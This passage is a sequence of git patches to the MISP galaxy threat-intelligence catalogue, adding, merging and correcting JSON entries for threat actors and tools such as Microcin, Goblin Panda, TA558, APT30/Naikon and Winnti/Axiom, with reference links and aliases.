"68d8c25b-8595-4c20-a5c7-a11a2a34b717", From ccd10b54f46bb2fa0edf76dd173cd6e8dc464059 Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 17 Aug 2022 12:49:56 +0530 Subject: [PATCH 062/167] remove duplicate reference --- clusters/threat-actor.json | 1 - 1 file changed, 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index d8d1850..3ecc78b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9757,7 +9757,6 @@ "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", "https://securelist.com/apt-trends-report-q2-2019/91897", "https://securelist.com/apt-trends-report-q2-2020/97937", "https://securelist.com/it-threat-evolution-q2-2020/98230", From f60831257723362f0057957c8aaff88108befc04 Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 17 Aug 2022 08:52:35 +0000 Subject: [PATCH 063/167] addresses https://github.com/MISP/misp-galaxy/pull/751#issuecomment-1217680586 --- clusters/tool.json | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/clusters/tool.json b/clusters/tool.json index 6360346..9cf6278 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8484,7 +8484,33 @@ }, "uuid": "f43a3828-a3b6-11ec-80e1-55a8e5815c2c", "value": "BadPotato" + }, + { + "description": "A simple RAT used by Vicious Panda", + "meta": { + "refs": [ + "https://securelist.com/microcin-is-here/97353", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign" + ], + "synonyms": [ + "Mikroceen" + ], + "type": [ + "RAT" + ] + }, + "related": [ + { + "dest-uuid": "68d8c25b-8595-4c20-a5c7-a11a2a34b717", + "type": "used-by" + } + ], + "uuid": "7d17dabf-a68e-4eda-a18f-26868ced8e73", + "value": "Microcin" } ], - "version": 150 + "version": 151 } From 3f50cf0175e488286ec917464194baf63a852fe6 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 17 Aug 2022 11:19:30 -0700 Subject: [PATCH 064/167] Create a tool for Esile --- clusters/threat-actor.json | 1 - clusters/tool.json | 23 +++++++++++++++++++++++ 2 files changed, 23 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 7c75955..8057870 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -890,7 +890,6 @@ "synonyms": [ "Spring Dragon", "ST Group", - "Esile", "DRAGONFISH", "BRONZE ELGIN", "ATK1", diff --git a/clusters/tool.json b/clusters/tool.json index 6360346..1a4bfc1 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8484,6 +8484,29 @@ }, "uuid": "f43a3828-a3b6-11ec-80e1-55a8e5815c2c", "value": "BadPotato" + }, + { + "description": "The Esile campaign was named after certain strings found in the unpacked malware file that it sends out. All of the malware related to this campaign are detected as BKDR_ESILE variants.", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/de/security/news/cyber-attacks/esile-targeted-attack-campaign-hits-apac-governments", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/esile" + ], + "synonyms": [ + "BKDR_ESILE" + ] + }, + "related": [ + { + "dest-uuid": "32fafa69-fe3c-49db-afd4-aac2664bcf0d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "used-by" + } + ], + "uuid": "7d34ca56-ce69-465f-b8c8-ffd02c4b619d", + "value": "Esile" } ], "version": 150 From 53282255ce80a9b795c2423dd0de775eeb37dceb Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 17 Aug 2022 11:55:13 -0700 Subject: [PATCH 065/167] Branch out Goblin Panda from Hellsing --- clusters/threat-actor.json | 45 ++++++++++++++++++++++++++++++-------- 1 file changed, 36 insertions(+), 9 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 8057870..cee83f3 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1139,15 +1139,7 @@ "country": "CN", "refs": [ "https://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/", - "https://www.cfr.org/interactive/cyber-operations/hellsing", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-august-goblin-panda/", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/", - "https://www.fortinet.com/blog/threat-research/cta-security-playbook--goblin-panda.html" - ], - "synonyms": [ - "Goblin Panda", - "Conimes", - "Cycldek" + "https://www.cfr.org/interactive/cyber-operations/hellsing" ] }, "uuid": "af482dde-9e47-48d5-9cb2-cf8f6d6303d3", @@ -9989,6 +9981,41 @@ }, "uuid": "d58030e2-5673-4836-9aff-ab6d55da0bc0", "value": "SLIME29" + }, + { + "description": "Goblin Panda is one of a handful of elite Chinese advanced persistent threat (APT) groups. Most Chinese APTs target the United States and NATO, but Goblin Panda focuses primarily on Southeast Asia.", + "meta": { + "attribution-confidence": "75", + "cfr-suspected-state-sponsor": "China", + "cfr-suspected-victims": [ + "Malaysia", + "India", + "Indonesia", + "Japan", + "Philippines", + "Southeast Asia", + "South Korea", + "Vietnam" + ], + "cfr-target-category": [ + "Private Sector" + ], + "country": "CN", + "refs": [ + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-august-goblin-panda/", + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://www.fortinet.com/blog/threat-research/cta-security-playbook--goblin-panda.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://cyberthreat.thalesgroup.com/sites/default/files/2022-05/THALES%20THREAT%20HANDBOOK%202022%20Light%20Version_1.pdf" + ], + "synonyms": [ + "Conimes", + "Cycldek", + "ATK78" + ] + }, + "uuid": "8d73715a-8bbd-4eaa-ae24-2f1b1c84cf21", + "value": "Goblin Panda" } ], "version": 239 From 0d6399aa2b692a808b83b625f514331b7f3c8299 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 17 Aug 2022 12:04:32 -0700 Subject: [PATCH 066/167] Add ATK78 alias for Thrip --- clusters/threat-actor.json | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index cee83f3..6c8acdf 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -6448,10 +6448,12 @@ "https://www.cfr.org/interactive/cyber-operations/thrip", "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "https://attack.mitre.org/groups/G0076/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://cyberthreat.thalesgroup.com/sites/default/files/2022-05/THALES%20THREAT%20HANDBOOK%202022%20Light%20Version_1.pdf" ], "synonyms": [ - "G0076" + "G0076", + "UTK78" ] }, "uuid": "98be4300-a9ef-11e8-9a95-bb9221083cfc", From 71e3e1f3eb05d69e2d60347de10a311e2ab01e77 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 17 Aug 2022 13:39:43 -0700 Subject: [PATCH 067/167] Fix ATK aliases --- clusters/threat-actor.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 937eebb..6a5b6bb 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -6329,7 +6329,7 @@ ], "synonyms": [ "G0076", - "UTK78" + "ATK78" ] }, "uuid": "98be4300-a9ef-11e8-9a95-bb9221083cfc", @@ -9846,7 +9846,7 @@ "synonyms": [ "Conimes", "Cycldek", - "ATK78" + "ATK34" ] }, "uuid": "8d73715a-8bbd-4eaa-ae24-2f1b1c84cf21", From 3f036db1e340ddf9506a1935796fd04d1c4c8e6d Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Thu, 18 Aug 2022 15:54:28 +0200 Subject: [PATCH 068/167] add TA558 --- clusters/threat-actor.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 3ecc78b..1c7e5ed 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9872,7 +9872,17 @@ }, "uuid": "d58030e2-5673-4836-9aff-ab6d55da0bc0", "value": "SLIME29" + }, + { + "description": "Since 2018, security researchers tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads.", + "meta": { + "sources": [ + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel" + ] + }, + "uuid": "e1e70539-8916-45c2-9b01-891c1c5bd8a1", + "value": "TA558" } ], - "version": 240 + "version": 241 } From 264e764dfa12bf1677e51ceedbc6070779837573 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 08:59:04 -0700 Subject: [PATCH 069/167] Remove ATK34 alias --- clusters/threat-actor.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 6a5b6bb..e701c5e 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9845,8 +9845,7 @@ ], "synonyms": [ "Conimes", - "Cycldek", - "ATK34" + "Cycldek" ] }, "uuid": "8d73715a-8bbd-4eaa-ae24-2f1b1c84cf21", From a046e8094d0774df31957b15f2121174c3dff9b3 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 11:36:45 -0700 Subject: [PATCH 070/167] Merge APT30 and Naikon --- ...mitre-enterprise-attack-intrusion-set.json | 14 --- clusters/mitre-intrusion-set.json | 14 --- clusters/threat-actor.json | 89 ++----------------- 3 files changed, 8 insertions(+), 109 deletions(-) diff --git a/clusters/mitre-enterprise-attack-intrusion-set.json b/clusters/mitre-enterprise-attack-intrusion-set.json index ad15c6c..fa82698 100644 --- a/clusters/mitre-enterprise-attack-intrusion-set.json +++ b/clusters/mitre-enterprise-attack-intrusion-set.json @@ -1215,13 +1215,6 @@ ], "type": "similar" }, - { - "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd", "tags": [ @@ -1414,13 +1407,6 @@ ], "type": "similar" }, - { - "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "fb261c56-b80e-43a9-8351-c84081e7213d", "tags": [ diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index 4997bd1..f4ddeaf 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -9232,13 +9232,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "fb261c56-b80e-43a9-8351-c84081e7213d", "tags": [ @@ -18420,13 +18413,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 5b81f2c..fd3d7cd 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -812,7 +812,11 @@ "https://attack.mitre.org/groups/G0019/", "https://www.secureworks.com/research/threat-profiles/bronze-geneva", "https://cyware.com/news/chinese-naikon-group-back-with-new-espionage-attack-66a8413d", - "https://cluster25.io/2022/04/29/lotus-panda-awake-last-strike/" + "https://cluster25.io/2022/04/29/lotus-panda-awake-last-strike/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "https://attack.mitre.org/wiki/Group/G0013", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" ], "synonyms": [ "PLA Unit 78020", @@ -820,7 +824,9 @@ "Camerashy", "Lotus Panda", "BRONZE GENEVA", - "G0019" + "G0019", + "APT 30", + "G0013" ] }, "related": [ @@ -838,13 +844,6 @@ ], "type": "similar" }, - { - "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd", "tags": [ @@ -3486,78 +3485,6 @@ "uuid": "f3179cfb-9c86-4980-bd6b-e4fa74adaaa7", "value": "ProjectSauron" }, - { - "description": "APT 30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.", - "meta": { - "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "China", - "cfr-suspected-victims": [ - "India", - "Saudi Arabia", - "Vietnam", - "Myanmar", - "Singapore", - "Thailand", - "Malaysia", - "Cambodia", - "China", - "Phillipines", - "South Korea", - "United States", - "Indonesia", - "Laos" - ], - "cfr-target-category": [ - "Government", - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "country": "CN", - "refs": [ - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://attack.mitre.org/wiki/Group/G0013", - "https://www.cfr.org/interactive/cyber-operations/apt-30", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" - ], - "synonyms": [ - "APT30", - "G0013" - ] - }, - "related": [ - { - "dest-uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "2f1fd017-9df6-4759-91fb-e7039609b5ff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "value": "APT 30" - }, { "description": "TA530, who we previously examined in relation to large-scale personalized phishing campaigns", "meta": { From d9046c8619de6deef77b7748860f0122708b8287 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 15:12:18 -0700 Subject: [PATCH 071/167] [threat-actors] Remove duplicated BRONZE PRESIDENT entity --- clusters/threat-actor.json | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 1c7e5ed..def1275 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -6349,7 +6349,8 @@ "https://www.cfr.org/interactive/cyber-operations/mustang-panda", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-president" + "https://www.secureworks.com/research/threat-profiles/bronze-president", + "https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military" ], "synonyms": [ "BRONZE PRESIDENT", @@ -7851,16 +7852,6 @@ "uuid": "69e11692-691e-4bfb-9557-4e2a271684ed", "value": "luoxk" }, - { - "description": "The activities of some non-governmental organizations (NGOs) challenge governments on politically sensitive issues such as social, humanitarian, and environmental policies. As a result, these organizations are often exposed to increased government-directed threats aimed at monitoring their activities, discrediting their work, or stealing their intellectual property. BRONZE PRESIDENT is a likely People's Republic of China (PRC)-based targeted cyberespionage group that uses both proprietary and publicly available tools to target NGO networks. Secureworks® Counter Threat Unit (CTU) researchers have observed BRONZE PRESIDENT activity since mid-2018 but identified artifacts suggesting that the threat actors may have been conducting network intrusions as far back as 2014.", - "meta": { - "refs": [ - "https://www.secureworks.com/research/bronze-president-targets-ngos" - ] - }, - "uuid": "f9702059-97f4-4fc0-810b-3041b918f5d7", - "value": "BRONZE PRESIDENT" - }, { "description": "An actor mainly targeting Pakistan military targets, active since at least 2012. We have low confidence that this malware might be authored by an Indian company. To spread the malware, they use unique implementations to leverage the exploits of known vulnerabilities (such as CVE-2017-11882) and later deploy a Powershell payload in the final stages.", "meta": { From ec988c97d0b47f0bb7e3b184e5874dfeb06cf4b0 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 15:34:08 -0700 Subject: [PATCH 072/167] [threat-actors] Remove duplicated APT-C-27 --- clusters/threat-actor.json | 26 +++++++++----------------- clusters/tool.json | 7 +++++++ 2 files changed, 16 insertions(+), 17 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 1c7e5ed..78cf51e 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -7113,10 +7113,17 @@ "description": "On March 17, 2019, 360 Threat Intelligence Center captured a target attack sample against the Middle East by exploiting WinRAR vulnerability (CVE-2018-20250[6]), and it seems that the attack is carried out by the Goldmouse APT group (APT-C-27). There is a decoy Word document inside the archive regarding terrorist attacks to lure the victim into decompressing. When the archive gets decompressed on the vulnerable computer, the embedded njRAT backdoor (Telegram Desktop.exe) will be extracted to the startup folder and then triggered into execution if the victim restarts the computer or performs re-login. After that, the attacker is capable to control the compromised device.", "meta": { "refs": [ - "https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/" + "https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/", + "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", + "https://www.pbwcz.cz/Reporty/20180723_CSE_APT27_Syria_v1.pdf" + ], + "since": "2014", + "suspected-victims": [ + "Middle East" ], "synonyms": [ - "GoldMouse" + "GoldMouse", + "Golden RAT" ] }, "uuid": "ee7f535d-cc3e-40f3-99f3-c97963cfa250", @@ -7825,21 +7832,6 @@ "uuid": "feb0cfef-0472-4108-83d7-1a322d8ab86b", "value": "APT-C-34" }, - { - "description": "Since November 2014, the Golden Rat Organization (APT-C-27) has launched an organized, planned and targeted long-term uninterrupted attack on the Syrian region. The attack platform has gradually expanded from the beginning of the Windows platform to the Android platform.", - "meta": { - "refs": [ - "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", - "https://www.pbwcz.cz/Reporty/20180723_CSE_APT27_Syria_v1.pdf" - ], - "since": "2014", - "synonyms": [ - "APT-C-27" - ] - }, - "uuid": "790cc0e7-4132-4e41-9b6c-11ff757400c0", - "value": "Golden RAT" - }, { "description": "Luoxk is a malware campaign targeting web servers throughout Asia, Europe and North America.", "meta": { diff --git a/clusters/tool.json b/clusters/tool.json index 9cf6278..828aae9 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -414,6 +414,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "ee7f535d-cc3e-40f3-99f3-c97963cfa250", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "used-by" } ], "uuid": "a860d257-4a39-47ec-9230-94cac67ebf7e", From 1acc51a7a61894bfc7827284e364bc0c8c24029e Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 15:44:18 -0700 Subject: [PATCH 073/167] [threat-actors] Add more data about APT-C-27 --- clusters/threat-actor.json | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 78cf51e..51ddb25 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -7110,8 +7110,9 @@ "value": "Operation Comando" }, { - "description": "On March 17, 2019, 360 Threat Intelligence Center captured a target attack sample against the Middle East by exploiting WinRAR vulnerability (CVE-2018-20250[6]), and it seems that the attack is carried out by the Goldmouse APT group (APT-C-27). There is a decoy Word document inside the archive regarding terrorist attacks to lure the victim into decompressing. When the archive gets decompressed on the vulnerable computer, the embedded njRAT backdoor (Telegram Desktop.exe) will be extracted to the startup folder and then triggered into execution if the victim restarts the computer or performs re-login. After that, the attacker is capable to control the compromised device.", + "description": "A threat actor which is ac tive since at least November 2014. This group launched long-term at tacks against organizations in the Syrian region using Android and Windows malwares. Its objective is the theft of sensitive information.", "meta": { + "country": "SY", "refs": [ "https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/", "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", @@ -7119,11 +7120,13 @@ ], "since": "2014", "suspected-victims": [ - "Middle East" + "Middle East", + "Syria" ], "synonyms": [ "GoldMouse", - "Golden RAT" + "Golden RAT", + "ATK80" ] }, "uuid": "ee7f535d-cc3e-40f3-99f3-c97963cfa250", From 84e69ad4be7c1aff4fb3dcbfcdfc502bec9f627c Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 15:47:04 -0700 Subject: [PATCH 074/167] Add DarkCommet as a tool of GoldenRAT --- clusters/tool.json | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/clusters/tool.json b/clusters/tool.json index 828aae9..e3a577b 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -416,7 +416,7 @@ "type": "similar" }, { - "dest-uuid": "ee7f535d-cc3e-40f3-99f3-c97963cfa250", + "dest-uuid": "790cc0e7-4132-4e41-9b6c-11ff757400c0", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -3534,6 +3534,15 @@ "Backdoor" ] }, + "related": [ + { + "dest-uuid": "ee7f535d-cc3e-40f3-99f3-c97963cfa250", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "used-by" + } + ], "uuid": "15949ecb-1f2b-4f59-9cf7-5751694e8fba", "value": "darkcomet" }, From a61ef2a88f3e77698a5c44e80f1428dca77a48f4 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 16:52:08 -0700 Subject: [PATCH 075/167] [threat-actors] Fix Axiom/Winnti/Suckfly/APT41 conflicts --- clusters/threat-actor.json | 127 ++++++++++++++++++++++++------------- 1 file changed, 84 insertions(+), 43 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 1c7e5ed..0817ac5 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -607,19 +607,14 @@ "cfr-suspected-state-sponsor": "China", "cfr-suspected-victims": [ "United States", - "Netherlands", - "Italy", - "Japan", + "South Korea", + "Universities in Hong Kong", "United Kingdom", - "Belgium", - "Russia", - "Indonesia", - "Germany", - "Switzerland", - "China" + "China", + "Japan", + "Hong Kong" ], "cfr-target-category": [ - "Government", "Private sector" ], "cfr-type-of-incident": "Espionage", @@ -629,7 +624,6 @@ "https://securelist.com/winnti-more-than-just-a-game/37029/", "http://williamshowalter.com/a-universal-windows-bootkit/", "https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", - "https://www.cfr.org/interactive/cyber-operations/axiom", "https://securelist.com/games-are-over/70991/", "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", "https://www.dw.com/en/thyssenkrupp-victim-of-cyber-attack/a-36695341", @@ -644,14 +638,11 @@ "https://www.secureworks.com/research/threat-profiles/bronze-export", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer", - "https://assets.documentcloud.org/documents/7210602/FLASH-AC-000133-TT-Published.pdf" + "https://assets.documentcloud.org/documents/7210602/FLASH-AC-000133-TT-Published.pdf", + "https://www.cfr.org/cyber-operations/winnti-umbrella" ], "synonyms": [ "Winnti Umbrella", - "Winnti Group", - "Suckfly", - "APT41", - "Group72", "Blackfly", "LEAD", "WICKED SPIDER", @@ -691,10 +682,24 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "9c124874-042d-48cd-b72b-ccdc51ecbbd6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "2943148b-8bc5-4bcb-b85e-f00c2174dd47", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" } ], "uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "value": "Axiom" + "value": "Winnti" }, { "description": "Adversary group targeting financial, technology, non-profit organisations.", @@ -3656,7 +3661,8 @@ "refs": [ "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7a60af1f-7786-446c-976b-7c71a16e9d3b&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://attack.mitre.org/groups/G0039/" + "https://attack.mitre.org/groups/G0039/", + "https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab" ], "synonyms": [ "G0039" @@ -6288,30 +6294,6 @@ "uuid": "71ef51ca-a791-11e8-a026-07980ca910ca", "value": "Inception Framework" }, - { - "description": "This threat actor targets software companies and political organizations in the United States, China, Japan, and South Korea. It primarily acts to support cyber operations conducted by other threat actors affiliated with Chinese intelligence services.\nBelieved to be associated with the Axiom, APT 17, and Mirage threat actors. Believed to share the same tools and infrastructure as the threat actors that carried out Operation Aurora, the 2015 targeting of video game companies, the 2015 targeting of the Thai government, and the 2017 targeting of Chinese-language news websites", - "meta": { - "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "China", - "cfr-suspected-victims": [ - "United States", - "South Korea", - "United Kingdom", - "China", - "Japan" - ], - "cfr-target-category": [ - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "country": "CN", - "refs": [ - "https://www.cfr.org/interactive/cyber-operations/winnti-umbrella" - ] - }, - "uuid": "9cebfaa8-a797-11e8-99e0-3ffa312b9a10", - "value": "Winnti Umbrella" - }, { "description": "This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.", "meta": { @@ -7683,7 +7665,15 @@ "country": "CN", "refs": [ "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html", - "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/" + "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/", + "https://www.mandiant.com/resources/report-apt41-double-dragon-a-dual-espionage-and-cyber-crime-operation", + "https://www.cfr.org/cyber-operations/apt-41", + "https://attack.mitre.org/groups/G0096/" + ], + "synonyms": [ + "Double Dragon", + "G0096", + "TA415" ] }, "related": [ @@ -7693,6 +7683,13 @@ "estimative-language:likelihood-probability=\"very-likely\"" ], "type": "uses" + }, + { + "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "similar" } ], "uuid": "9c124874-042d-48cd-b72b-ccdc51ecbbd6", @@ -9882,6 +9879,50 @@ }, "uuid": "e1e70539-8916-45c2-9b01-891c1c5bd8a1", "value": "TA558" + }, + { + "description": "Axiom is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between Axiom and Winnti Group but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.", + "meta": { + "cfr-suspected-state-sponsor": "China", + "cfr-suspected-victims": [ + "United States", + "Netherlands", + "Italy", + "Japan", + "United Kingdom", + "Belgium", + "Russia", + "Indonesia", + "Germany", + "Switzerland", + "China" + ], + "cfr-target-category": [ + "Government", + "Private sector" + ], + "cfr-type-of-incident": "Espionage", + "country": "CN", + "refs": [ + "cfr.org/cyber-operations/axiom", + "https://attack.mitre.org/groups/G0001/" + ], + "synonyms": [ + "Group72", + "G0001" + ] + }, + "related": [ + { + "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", + 